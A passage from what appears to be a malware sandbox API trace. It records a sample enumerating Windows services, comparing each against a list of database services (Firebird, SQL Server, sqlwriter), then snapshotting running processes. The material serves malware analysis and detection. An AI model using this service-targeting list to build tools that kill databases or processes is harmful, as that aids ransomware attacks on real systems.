lpString2="ClickToRunSvc") returned 1 [0155.198] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0155.198] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0155.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0155.198] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0155.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0155.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0155.198] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0155.198] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0155.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0155.198] lstrlenW (lpString="CryptSvc") returned 8 [0155.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0155.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0155.199] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0155.199] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0155.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0155.199] lstrlenW (lpString="DcomLaunch") returned 10 [0155.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0155.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0155.199] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0155.199] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0155.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0155.199] lstrlenW (lpString="DeviceAssociationService") returned 24 [0155.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0155.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0155.199] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0155.199] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0155.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0155.199] lstrlenW (lpString="Dhcp") returned 4 [0155.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0155.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0155.199] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0155.199] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0155.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0155.199] lstrlenW (lpString="Dnscache") returned 8 [0155.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0155.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0155.199] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0155.199] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0155.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0155.199] lstrlenW (lpString="DPS") returned 3 [0155.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0155.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0155.199] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0155.199] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0155.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0155.199] lstrlenW (lpString="DusmSvc") returned 7 [0155.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0155.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0155.200] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0155.200] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0155.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0155.200] lstrlenW (lpString="EventLog") returned 8 [0155.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0155.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0155.200] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0155.200] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0155.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0155.200] lstrlenW (lpString="EventSystem") returned 11 [0155.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0155.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0155.200] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0155.200] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0155.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0155.200] lstrlenW (lpString="FontCache") returned 9 [0155.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0155.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0155.200] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0155.200] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0155.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0155.200] lstrlenW (lpString="gpsvc") returned 5 [0155.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0155.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0155.200] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0155.200] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0155.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0155.200] lstrlenW (lpString="iphlpsvc") returned 8 [0155.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0155.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0155.200] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0155.200] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0155.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0155.200] lstrlenW (lpString="KeyIso") returned 6 [0155.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0155.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0155.201] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0155.201] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0155.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0155.201] lstrlenW (lpString="LanmanServer") returned 12 [0155.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0155.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0155.201] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0155.201] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0155.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0155.201] lstrlenW (lpString="LanmanWorkstation") returned 17 [0155.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0155.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0155.201] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0155.201] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0155.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0155.201] lstrlenW (lpString="lfsvc") returned 5 [0155.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0155.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0155.201] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0155.201] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0155.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0155.201] lstrlenW (lpString="lmhosts") returned 7 [0155.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0155.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0155.201] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0155.201] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0155.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0155.201] lstrlenW (lpString="LSM") returned 3 [0155.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0155.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0155.201] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0155.201] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0155.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0155.201] lstrlenW (lpString="MpsSvc") returned 6 [0155.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0155.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0155.202] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0155.202] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0155.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0155.202] lstrlenW (lpString="NcbService") returned 10 [0155.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0155.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0155.202] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0155.202] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0155.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0155.202] lstrlenW (lpString="netprofm") returned 8 [0155.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0155.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0155.202] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0155.202] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0155.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0155.202] lstrlenW (lpString="NgcSvc") returned 6 [0155.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0155.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0155.202] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0155.202] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0155.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0155.202] lstrlenW (lpString="NlaSvc") returned 6 [0155.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0155.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0155.202] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0155.202] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0155.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0155.202] lstrlenW (lpString="nsi") returned 3 [0155.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0155.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0155.202] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0155.202] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0155.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0155.202] lstrlenW (lpString="PcaSvc") returned 6 [0155.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0155.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0155.203] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0155.203] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0155.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0155.203] lstrlenW (lpString="PlugPlay") returned 8 [0155.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0155.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0155.203] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0155.203] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0155.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0155.203] lstrlenW (lpString="Power") returned 5 [0155.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0155.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0155.203] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0155.203] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0155.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0155.203] lstrlenW (lpString="ProfSvc") returned 7 [0155.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0155.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0155.203] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0155.203] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0155.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0155.203] lstrlenW (lpString="RpcEptMapper") returned 12 [0155.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0155.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0155.203] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0155.203] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0155.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0155.203] lstrlenW (lpString="RpcSs") returned 5 [0155.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0155.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0155.203] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0155.203] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0155.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0155.203] lstrlenW (lpString="SamSs") returned 5 [0155.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0155.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0155.204] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0155.204] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0155.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0155.204] lstrlenW (lpString="Schedule") returned 8 [0155.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0155.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0155.204] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0155.204] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0155.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0155.204] lstrlenW (lpString="SecurityHealthService") returned 21 [0155.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0155.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0155.204] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0155.204] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0155.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0155.204] lstrlenW (lpString="SENS") returned 4 [0155.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0155.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0155.204] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0155.204] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0155.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0155.204] lstrlenW (lpString="ShellHWDetection") returned 16 [0155.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0155.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0155.204] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0155.204] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0155.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0155.204] lstrlenW (lpString="Spooler") returned 7 [0155.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0155.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0155.204] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0155.204] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0155.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0155.204] lstrlenW (lpString="StateRepository") returned 15 [0155.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0155.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0155.205] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0155.205] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0155.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0155.205] lstrlenW (lpString="SysMain") returned 7 [0155.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0155.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0155.205] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0155.205] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0155.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0155.205] lstrlenW (lpString="SystemEventsBroker") returned 18 [0155.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0155.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0155.205] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0155.205] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0155.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0155.205] lstrlenW (lpString="Themes") returned 6 [0155.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0155.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0155.205] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0155.205] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0155.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0155.205] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0155.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0155.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0155.205] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0155.205] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0155.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0155.205] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0155.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0155.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0155.205] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0155.205] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0155.206] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x466788 | out: hHeap=0x420000) returned 1 [0155.206] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x240 [0155.213] Process32FirstW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0155.215] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0155.215] lstrlenW (lpString="System") returned 6 [0155.215] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0155.216] lstrlenW (lpString="smss.exe") returned 8 [0155.216] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0155.216] lstrlenW (lpString="csrss.exe") returned 9 [0155.216] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0155.216] lstrlenW (lpString="wininit.exe") returned 11 [0155.216] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0155.217] lstrlenW (lpString="csrss.exe") returned 9 [0155.217] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0155.217] lstrlenW (lpString="winlogon.exe") returned 12 [0155.217] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0155.218] lstrlenW (lpString="services.exe") returned 12 [0155.218] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0155.218] lstrlenW (lpString="lsass.exe") returned 9 [0155.218] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0155.218] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0155.219] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0155.219] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0155.219] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.219] lstrlenW (lpString="svchost.exe") returned 11 [0155.219] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.220] lstrlenW (lpString="svchost.exe") returned 11 [0155.220] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0155.220] lstrlenW (lpString="dwm.exe") returned 7 [0155.220] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x45, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.221] lstrlenW (lpString="svchost.exe") returned 11 [0155.221] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.221] 